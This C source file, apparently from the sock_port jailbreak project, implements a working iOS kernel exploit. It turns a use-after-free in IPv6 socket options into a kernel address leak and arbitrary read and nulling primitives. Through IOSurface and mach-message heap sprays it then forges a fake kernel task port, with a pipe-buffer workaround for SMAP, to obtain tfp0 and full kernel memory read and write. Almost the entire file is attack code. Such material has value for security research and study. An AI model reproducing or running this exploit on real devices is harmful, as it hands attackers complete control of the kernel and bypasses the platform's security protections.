//
//  exploit.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit.h"

// utilities to manipulate sockets
int set_minmtu(int sock, int *minmtu) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, sizeof(*minmtu));
}

int get_minmtu(int sock, int *minmtu) {
    socklen_t size = sizeof(*minmtu);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &size);
}

int get_prefertempaddr(int sock, int *prefertempaddr) {
    socklen_t size = sizeof(*prefertempaddr);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, &size);
}

int set_prefertempaddr(int sock, int *prefertempaddr) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PREFER_TEMPADDR, prefertempaddr, sizeof(*prefertempaddr));
}

int get_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    socklen_t size = sizeof(*pktinfo);
    return getsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, &size);
}

int set_pktinfo(int sock, struct in6_pktinfo *pktinfo) {
    return setsockopt(sock, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo, sizeof(*pktinfo));
}

// free the pktopts struct of the socket to get ready for UAF
int free_socket_options(int sock) {
    return disconnectx(sock, 0, 0);
}

// return a socket we can UAF on
int get_socket() {
    int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        printf("[-] Can't get socket, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    // allow setsockopt() after disconnect()
    struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
    int ret = setsockopt(sock, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
    if (ret) {
        printf("[-] setsockopt() failed, error %d (%s)\n", errno, strerror(errno));
        return -1;
    }
    
    return sock;
}

// return a socket ready for UAF
int get_socket_with_dangling_options() {
    int socket = get_socket();
    
    int minmtu = -1;
    set_minmtu(socket, &minmtu);
    
    free_socket_options(socket);
    
    return socket;
}

mach_port_t new_port() {
    mach_port_t port;
    kern_return_t rv = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (rv) {
        printf("[-] Failed to allocate port (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    rv = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (rv) {
        printf("[-] Failed to insert right (%s)\n", mach_error_string(rv));
        return MACH_PORT_NULL;
    }
    return port;
}

// first primitive: leak the kernel address of a mach port
uint64_t find_port_via_uaf(mach_port_t port, int disposition) {
    // here we use the uaf as an info leak
    int sock = get_socket_with_dangling_options();
    
    for (int i = 0; i < 0x10000; i++) {
        // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers
        mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND);
        
        int mtu;
        int pref;
        get_minmtu(sock, &mtu); // this is like doing rk32(options + 180);
        get_prefertempaddr(sock, &pref); // this like rk32(options + 184);
        
        // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176)
        
        /*  from a hex dump:
         
         (lldb) p/x HexDump(options, 192)
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
         ...
         XX XX XX XX F0 FF FF FF  XX XX XX XX F0 FF FF FF  |  ................
                    |-----------||-----------|
                     minmtu here prefertempaddr here
         */
        
        // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up
        
        uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff);
        
        if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) {
            mach_port_destroy(mach_task_self(), p);
            close(sock);
            return ptr;
        }
        mach_port_destroy(mach_task_self(), p);
    }
    
    // close that socket.
    close(sock);
    return 0;
}

// function to cache our task port kernel address
uint64_t task_self_addr() {
    static uint64_t cached_task_self_addr = 0;
    if (cached_task_self_addr) return cached_task_self_addr;
    else return find_port_via_uaf(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
}

// second primitive: read 20 bytes from addr
void* read_20_via_uaf(uint64_t addr) {
    
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] Failed to read kernel\n");
        return 0;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    
    void *buf = malloc(sizeof(struct in6_pktinfo));
    get_pktinfo(sockets[found_at], (struct in6_pktinfo *)buf);
    close(sockets[found_at]);
    
    return buf;
}

uint64_t rk64_via_uaf(uint64_t addr) {
    void *buf = read_20_via_uaf(addr);
    if (buf) {
        uint64_t r = *(uint64_t*)buf;
        free(buf);
        return r;
    }
    return 0;
}

int null_20_via_uaf(uint64_t addr) {
    // create a bunch of sockets
    int sockets[128];
    for (int i = 0; i < 128; i++) {
        sockets[i] = get_socket_with_dangling_options();
    }
    
    // create a fake struct with our dangling port address as its pktinfo
    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));
    fake_opts->ip6po_minmtu = 0x41424344; // give a number we can recognize
    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; // on iOS 10, offset is different
    fake_opts->ip6po_pktinfo = (struct in6_pktinfo*)addr;
    
    bool found = false;
    int found_at = -1;
    
    for (int i = 0; i < 20; i++) { // iterate through the sockets to find if we overwrote one
        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));
        
        for (int j = 0; j < 128; j++) {
            int minmtu = -1;
            get_minmtu(sockets[j], &minmtu);
            if (minmtu == 0x41424344) { // found it!
                found_at = j; // save its index
                found = true;
                break;
            }
        }
        if (found) break;
    }
    
    free(fake_opts);
    
    if (!found) {
        printf("[-] failed to setup nulling primitive\n");
        return -1;
    }
    
    for (int i = 0; i < 128; i++) {
        if (i != found_at) {
            close(sockets[i]);
        }
    }
    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));
    memset(buf, 0, sizeof(struct in6_pktinfo));
    buf->ipi6_ifindex = 1;
    
    int ret = set_pktinfo(sockets[found_at], buf);
    free(buf);
    return ret;
}


static inline uint32_t mach_port_waitq_flags() {
    union waitq_flags waitq_flags = {};
    waitq_flags.waitq_type              = WQT_QUEUE;
    waitq_flags.waitq_fifo              = 1;
    waitq_flags.waitq_prepost           = 0;
    waitq_flags.waitq_irq               = 0;
    waitq_flags.waitq_isvalid           = 1;
    waitq_flags.waitq_turnstile_or_port = 1;
    return waitq_flags.flags;
}

mach_port_t get_tfp0() {
    printf("[!] exploit started!\n");
    
    offsets_init();
    
    // -------------- INITIALIZE IOSURFACE --------------
    
    kern_return_t ret = init_IOSurface();
    if (ret) {
        printf("[-] can't init IOSurface!\n");
        return MACH_PORT_NULL;
    }
    printf("[+] initialized IOSurface\n");
    
    // -------------- CHECK FOR SMAP --------------
    
    bool SMAP = false;
    int fds[2] = {-1, -1};
    
    if (pagesize == 0x4000) {
        struct utsname a;
        uname(&a);
        if (!strstr(a.machine, "iPad5,") && !strstr(a.machine, "iPad6,") && !strstr(a.machine, "iPhone8,")) {
            printf("[i] detected SMAP device\n");
            
            SMAP = true;
            int ret = pipe(fds);
            if (ret) {
                printf("[-] failed to create pipe fds\n");
                goto err;
            }
            uint8_t buf[0x600];
            memset(buf, 0, 0x600);
            write(fds[1], buf, 0x600);
            read(fds[0], buf, 0x600);
        }
    }
    
    // -------------- SETUP FIRST PRIMITIVES --------------
    
    uint64_t self_port_addr = task_self_addr(); // port leak primitive
    if (!self_port_addr) {
        printf("[-] failed to leak our task port address!\n");
        goto err;
    }
    
    printf("[*] our task port: 0x%llx\n", self_port_addr);
    
#define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf("[-] failed to read from '"#addr"'\n"); goto err;}}; r;})
    
    uint64_t ipc_space_kernel = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
    printf("[*] ipc_space_kernel: 0x%llx\n", ipc_space_kernel);
    
    uint64_t pipe_buffer = 0;
    if (SMAP) {
        uint64_t task = rk64_check(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
        uint64_t proc = rk64_check(task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
        uint64_t p_fd = rk64_check(proc + koffset(KSTRUCT_OFFSET_PROC_P_FD));
        uint64_t fd_ofiles = rk64_check(p_fd);
        uint64_t fproc = rk64_check(fd_ofiles + fds[0] * 8);
        uint64_t f_fglob = rk64_check(fproc + koffset(KSTRUCT_OFFSET_FILEPROC_F_FGLOB));
        uint64_t fg_data = rk64_check(f_fglob + koffset(KSTRUCT_OFFSET_FILEGLOB_FG_DATA));
        pipe_buffer = rk64_check(fg_data + koffset(KSTRUCT_OFFSET_PIPE_BUFFER));
        
        printf("[*] pipe buffer: 0x%llx\n", pipe_buffer);
    }
            
    //-------- taken from async_wake --------
    
    uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
    uint32_t replacer_body_size = (uint32_t)(message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t));
    uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
    
    int n_pre_ports = 100000;
    mach_port_t *pre_ports = malloc(n_pre_ports * sizeof(mach_port_t));
    for (int i = 0; i < n_pre_ports; i++) {
        pre_ports[i] = new_port();
    }
    
    uint32_t smaller_body_size = (uint32_t)(message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t));
    
    uint8_t* smaller_body = malloc(smaller_body_size);
    memset(smaller_body, 'C', smaller_body_size);
    
    const int n_smaller_ports = 600;
    mach_port_t smaller_ports[n_smaller_ports];
    for (int i = 0; i < n_smaller_ports; i++) {
        smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
    }
    
    free(smaller_body);
    
    int ports_to_test = 100;
    int base = n_pre_ports - 1000;
    
    mach_port_t first_port = MACH_PORT_NULL;
    uint64_t first_port_address = 0;
    
    for (int i = 0; i < ports_to_test; i++) {
        mach_port_t candidate_port = pre_ports[base+i];
        uint64_t candidate_address = find_port_via_uaf(candidate_port, MACH_MSG_TYPE_COPY_SEND);
        uint64_t page_offset = candidate_address & 0xfff;
        if (page_offset > 0xa00 && page_offset < 0xe80) { // when using mach messages there are some limits as opposed to IOSurface
            printf("[+] found target port with suitable allocation page offset: 0x%016llx\n", candidate_address);
            pre_ports[base+i] = MACH_PORT_NULL;
            first_port = candidate_port;
            first_port_address = candidate_address;
            break;
        }
    }
    
    if (first_port == MACH_PORT_NULL) {
        printf("[-] unable to find a candidate port with a suitable page offset\n");
        goto err;
    }
    
    null_20_via_uaf(first_port_address);
    mach_port_insert_right(mach_task_self(), first_port, first_port, MACH_MSG_TYPE_MAKE_SEND);
    
    for (int i = 0; i < n_pre_ports; i++) {
        if (pre_ports[i]) {
            mach_port_destroy(mach_task_self(), pre_ports[i]);
        }
    }
    
    for (int i = 0; i < n_smaller_ports; i++) {
        mach_port_destroy(mach_task_self(), smaller_ports[i]);
    }
    
    uint8_t* body = malloc(replacer_body_size);
    memset(body, 0, replacer_body_size);
    uint32_t port_page_offset = first_port_address & 0xfff;
    
    kport_t *fakeport = (kport_t *)(body + (port_page_offset - message_body_offset));
    ktask_t *fake_task = malloc(0x600);
    bzero((void *)fake_task, 0x600);
    fake_task->ref_count = 0xff;
    
    fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
    fakeport->ip_references = 0xd00d;
    fakeport->ip_lock.type = 0x11;
    fakeport->ip_messages.port.receiver_name = 1;
    fakeport->ip_messages.port.msgcount = 0;
    fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
    fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();
    fakeport->ip_srights = 99;
    
    if (!SMAP) {
        fakeport->ip_kobject = (uint64_t)fake_task;
    }
    else {
        fakeport->ip_kobject = pipe_buffer;
        write(fds[1], fake_task, 0x600);
    }
    
    fakeport->ip_receiver = ipc_space_kernel;

    const int replacer_ports_limit = 200;
    mach_port_t replacer_ports[replacer_ports_limit];
    memset(replacer_ports, 0, sizeof(replacer_ports));
    uint32_t i;
    for (i = 0; i < replacer_ports_limit; i++) {
        replacer_ports[i] = send_kalloc_message(body, replacer_body_size);
        pthread_yield_np();
        usleep(10000);
    }
    
    free(pre_ports);
    
    uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
    
#define kr32(addr, value)\
    if (SMAP) { \
        read(fds[0], fake_task, 0x600);\
    } \
    *read_addr_ptr = addr - koffset(KSTRUCT_OFFSET_PROC_PID);\
    if (SMAP) { \
        write(fds[1], fake_task, 0x600);\
    } \
    value = 0x0;\
    ret = pid_for_task(first_port, (int *)&value);
    
    uint32_t read64_tmp;
#define kr64(addr, value)\
    kr32(addr + 0x4, read64_tmp);\
    kr32(addr, value);\
    value = value | ((uint64_t)read64_tmp << 32)
    
    // -------------- PLS WORK --------------
    
    uint64_t struct_task;
    kr64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), struct_task);
    if (!struct_task) {
        printf("[-] kernel read failed!\n");
        goto err;
    }
    
    printf("[!] READING VIA FAKE PORT WORKED? 0x%llx\n", struct_task);
    printf("[+] Let's steal that kernel task port!\n");
    
    // -------------- TFP0! --------------
    
    uint64_t kernel_vm_map = 0;
    
    while (struct_task != 0) {
        uint64_t bsd_info;
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO), bsd_info);
        if (!bsd_info) {
            printf("[-] kernel read failed!\n");
            goto err;
        }
        
        uint32_t pid;
        kr32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID), pid);
        
        if (pid == 0) {
            uint64_t vm_map;
            kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP), vm_map);
            if (!vm_map) {
                printf("[-] kernel read failed!\n");
                goto err;
            }
            
            kernel_vm_map = vm_map;
            break;
        }
        
        kr64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV), struct_task);
    }
    
    if (!kernel_vm_map) {
        printf("[-] failed to find kernel's vm_map\n");
        goto err;
    }
    
    printf("[i] kernel_vm_map: 0x%llx\n", kernel_vm_map);
    
    if (SMAP) {
        read(fds[0], fake_task, 0x600);
    }
    
    fake_task->lock.data = 0x0;
    fake_task->lock.type = 0x22;
    fake_task->ref_count = 100;
    fake_task->active = 1;
    fake_task->map = kernel_vm_map;
    *(uint32_t *)((uint64_t)fake_task + 0xd8) = 1;
    
    if (SMAP) {
        write(fds[1], fake_task, 0x600);
    }
    
    init_kernel_memory(first_port);
    
    uint64_t addr = kalloc(8);
    if (!addr) {
        printf("[-] seems like tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[*] allocated: 0x%llx\n", addr);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    printf("[*] creating safer port\n");
    
    mach_port_t new_tfp0 = new_port();
    if (!new_tfp0) {
        printf("[-] failed to allocate new tfp0 port\n");
        goto err;
    }
    
    uint64_t new_addr = find_port(new_tfp0, self_port_addr);
    if (!new_addr) {
        printf("[-] failed to find new tfp0 port address\n");
        goto err;
    }
    
    uint64_t faketask = kalloc(0x600);
    if (!faketask) {
        printf("[-] failed to kalloc faketask\n");
        goto err;
    }
    
    kwrite(faketask, fake_task, 0x600);
    fakeport->ip_kobject = faketask;
    
    kwrite(new_addr, (const void*)fakeport, sizeof(kport_t));
    
    printf("[*] testing new tfp0 port\n");
    
    init_kernel_memory(new_tfp0);
    
    addr = kalloc(8);
    if (!addr) {
        printf("[-] seems like the new tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[+] tfp0: 0x%x\n", new_tfp0);
    printf("[*] allocated: 0x%llx\n", addr);
    wk64(addr, 0x4141414141414141);
    readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] read back value didn't match\n");
        goto err;
    }
    
    // clean up port
    uint64_t task_addr = rk64(self_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    
    uint32_t port_index = first_port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
    wk64(is_table + (port_index * sizeof_ipc_entry_t), 0);
    
    for (int i = 0; i < replacer_ports_limit; i++) {
        mach_port_destroy(mach_task_self(), replacer_ports[i]);
    }
    
    if (SMAP) {
        if (fds[0] != -1)  close(fds[0]);
        if (fds[1] != -1)  close(fds[1]);
    }
    
    free(body);
    free(fake_task);
    deinit_IOSurface();
    return new_tfp0;
    
err:
    if (SMAP) {
        if (fds[0] != -1)  close(fds[0]);
        if (fds[1] != -1)  close(fds[1]);
    }
    deinit_IOSurface();
    return MACH_PORT_NULL;
}
